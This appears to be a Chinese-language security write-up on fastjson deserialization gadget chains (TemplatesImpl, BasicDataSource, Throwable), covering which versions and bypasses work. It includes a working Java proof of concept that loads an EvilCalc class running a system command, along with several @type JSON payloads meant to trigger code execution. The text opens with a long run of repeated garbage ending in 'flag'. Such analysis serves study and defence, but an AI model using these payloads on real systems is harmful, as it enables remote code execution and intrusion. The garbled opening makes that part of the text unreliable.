wocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocflag"
}
}:'b'
}
Tips
反序列化链用到的链BasicDataSource在不同版本中的全类名有所差异,具体参考kingx师傅
fastjson1.2.24(TemplatesImpl)
限制条件
- fastjson1.2.22-1.2.24,在22之前未引入Feature.SupportNonPublicField,在24之后增加了checkAutoType函数过滤反序列化的类
反序列化链
整个链路比较简单,按照代码中的序号一步步跟就好了。最后加载类生成Class对象,然后调用newInstance创建实例时,调用无参构造,触发命令执行。
public class TemplatesImpl{
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();//[1]
}
catch (TransformerConfigurationException e) {
return null;
}
}
public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;
transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);//[2]
if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}
if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;
if (_class == null) defineTransletClasses();//[3]
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();//[5]
//....
}
}
private void defineTransletClasses()
throws TransformerConfigurationException {
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});
try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];
if (classCount > 1) {
_auxClasses = new HashMap<>();
}
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);//[4]
final Class superClass = _class[i].getSuperclass();
// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}
}
}
}
poc
package com.zfirm.fastjson._TemplatesImpl;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import org.apache.commons.io.IOUtils;
import org.apache.commons.codec.binary.Base64;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
public class Poc {
public static String readClass(String cls){
ByteArrayOutputStream bos = new ByteArrayOutputStream();
try {
IOUtils.copy(new FileInputStream(new File(cls)), bos);
} catch (IOException e) {
e.printStackTrace();
}
return Base64.encodeBase64String(bos.toByteArray());
}
public static void test_autoTypeDeny() throws Exception {
ParserConfig config = new ParserConfig();
final String evilClassPath = System.getProperty("user.dir") + "\\EvilCalc.class";
String evilCode = readClass(evilClassPath);
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String text1 = "{\"@type\":\"" + NASTY_CLASS +
"\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }," +
"\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}\n";
System.out.println(text1);
Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
//assertEquals(Model.class, obj.getClass());
}
public static void main(String args[]){
try {
test_autoTypeDeny();
} catch (Exception e) {
e.printStackTrace();
}
}
}
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class EvilCalc extends AbstractTranslet {
public EvilCalc() throws IOException {
Runtime.getRuntime().exec("calc");
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}
@Override
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {
}
}
总结
这个链我认为还是不太好用,因为需要额外设置JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
,指定允许json反序列化private修饰的属性。
fastjson1.2.25(BasicDataSource)打不通
在前文fastjson1.2.41(JdbcRowSetImpl)已经提到了绕过黑名单类的方式之一是在类名前后分别添加L
和;
,然而这样是行不通的。虽然可以得到Class对象,但是马上就抛出了异常。
public class ParserConfig {
public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
if (this.autoTypeSupport || expectClass != null) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
}
if (clazz != null) {
//问题出在这,如果clazz实现了DataSourc接口或是ClassLoader的子类,就会抛出异常。BasicDataSource就实现了这个接口
if (ClassLoader.class.isAssignableFrom(clazz) || DataSource.class.isAssignableFrom(clazz)) {
throw new JSONException("autoType is not support. " + typeName);
}
if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
return clazz;
}
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}
}
}
由于上述限制,导致如下的payload全部无效
L;绕过,BasicDataSource实现了DataSource接口,抛出异常
{ "@type": "Lorg.apache.tomcat.dbcp.dbcp.BasicDataSource;", "driverClassLoader": { "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader" }, "driverClassName": "$$BCEL...$A$A" }
class缓存+L;绕过,com.sun.org.apache.bcel.internal.util.ClassLoader是java.lang.ClassLoader的子类,抛出异常
[{ '@type':"java.lang.Class", 'val':'org.apache.tomcat.dbcp.dbcp.BasicDataSource' }, { '@type':"org.apache.tomcat.dbcp.dbcp.BasicDataSource", 'driverClassLoader': { "@type": "Lcom.sun.org.apache.bcel.internal.util.ClassLoader;" }, 'driverClassName':'$$BCEL...$A$A' }]
class缓存绕过,driverClassLoader是对象属性,expectClass!=null,导致会先进行黑名单检测,再从缓存中取。这就使得缓存失效,绕过不了
public class ParserConfig { public Class<?> checkAutoType(String typeName, Class<?> expectClass) { //expectClass != null,先进行黑名单检测,检测时就挂掉了 if (this.autoTypeSupport || expectClass != null) { int i; String deny; for(i = 0; i < this.acceptList.length; ++i) { deny = this.acceptList[i]; if (className.startsWith(deny)) { return TypeUtils.loadClass(typeName, this.defaultClassLoader); } } for(i = 0; i < this.denyList.length; ++i) { deny = this.denyList[i]; if (className.startsWith(deny)) { throw new JSONException("autoType is not support. " + typeName); } } } Class<?> clazz = TypeUtils.getClassFromMapping(typeName);//从缓存中取 } }
{ 'a': { '@type':"java.lang.Class", 'val':'org.apache.tomcat.dbcp.dbcp.BasicDataSource' }, 'b': { '@type':"java.lang.Class", 'val':'Lcom.sun.org.apache.bcel.internal.util.ClassLoader;' }, 'c': { '@type':"org.apache.tomcat.dbcp.dbcp.BasicDataSource", 'driverClassLoader': { '@type':"Lcom.sun.org.apache.bcel.internal.util.ClassLoader;" }, 'driverClassName':'$$BCEL$$$l$8b...$A$A' } }
fastjson1.2.68_Throwable
利用条件
- fastjson<=1.2.68
- 需要有可控的Exception子类,或者是某些框架自带的比较危险的Exception子类
payload
注意,第一个type不要写成java.lang.Throwable,否则无法绕过autotype的限制
{"@type":"java.lang.Exception", "@type":"com.zfirm.fastjson._1268.PingException","domain":"calc"}
反序列化链
第一个@type指定为java.lang.Exception,进入checkAutoType时,由于java.lang.Exception在缓存中能取到,直接返回,通过了checkAutoType的检测。这里列了一下缓存中有哪些类
"java.lang.IndexOutOfBoundsException" -> {Class@697} "class java.lang.IndexOutOfBoundsException"
"java.lang.Integer" -> {Class@273} "class java.lang.Integer"
"java.lang.NoSuchFieldException" -> {Class@700} "class java.lang.NoSuchFieldException"
"java.lang.Long" -> {Class@272} "class java.lang.Long"
"java.math.BigInteger" -> {Class@554} "class java.math.BigInteger"
"java.lang.LinkageError" -> {Class@329} "class java.lang.LinkageError"
"java.lang.StringIndexOutOfBoundsException" -> {Class@705} "class java.lang.StringIndexOutOfBoundsException"
"java.lang.StackOverflowError" -> {Class@324} "class java.lang.StackOverflowError"
"long" -> {Class@708} "long"
"java.lang.VerifyError" -> {Class@710} "class java.lang.VerifyError"
"java.util.LinkedHashMap" -> {Class@97} "class java.util.LinkedHashMap"
"java.util.Calendar" -> {Class@713} "class java.util.Calendar"
"java.lang.StackTraceElement" -> {Class@715} "class java.lang.StackTraceElement"
"[long" -> {Class@348} "class [J"
"java.lang.NoSuchMethodError" -> {Class@211} "class java.lang.NoSuchMethodError"
"java.util.concurrent.atomic.AtomicLong" -> {Class@105} "class java.util.concurrent.atomic.AtomicLong"
"java.util.TreeMap" -> {Class@164} "class java.util.TreeMap"
"java.util.Date" -> {Class@721} "class java.util.Date"
"java.lang.NoSuchFieldError" -> {Class@723} "class java.lang.NoSuchFieldError"
"java.util.concurrent.atomic.AtomicInteger" -> {Class@188} "class java.util.concurrent.atomic.AtomicInteger"
"java.lang.Short" -> {Class@274} "class java.lang.Short"
"java.util.Locale" -> {Class@42} "class java.util.Locale"
"java.lang.InstantiationException" -> {Class@728} "class java.lang.InstantiationException"
"java.lang.SecurityException" -> {Class@730} "class java.lang.SecurityException"
"java.sql.Timestamp" -> {Class@732} "class java.sql.Timestamp"
"java.util.concurrent.ConcurrentHashMap" -> {Class@38} "class java.util.concurrent.ConcurrentHashMap"
"java.util.UUID" -> {Class@735} "class java.util.UUID"
"java.lang.IllegalAccessError" -> {Class@737} "class java.lang.IllegalAccessError"
"com.alibaba.fastjson.JSONObject" -> {Class@570} "class com.alibaba.fastjson.JSONObject"
"[short" -> {Class@350} "class [S"
"java.util.HashSet" -> {Class@9} "class java.util.HashSet"
"[byte" -> {Class@351} "class [B"
"java.lang.Boolean" -> {Class@280} "class java.lang.Boolean"
"java.sql.Date" -> {Class@744} "class java.sql.Date"
"short" -> {Class@746} "short"
"java.lang.Object" -> {Class@3} "class java.lang.Object"
"java.util.BitSet" -> {Class@20} "class java.util.BitSet"
"[char" -> {Class@354} "class [C"
"java.lang.Float" -> {Class@277} "class java.lang.Float"
"java.math.BigDecimal" -> {Class@556} "class java.math.BigDecimal"
"java.lang.Character" -> {Class@279} "class java.lang.Character"
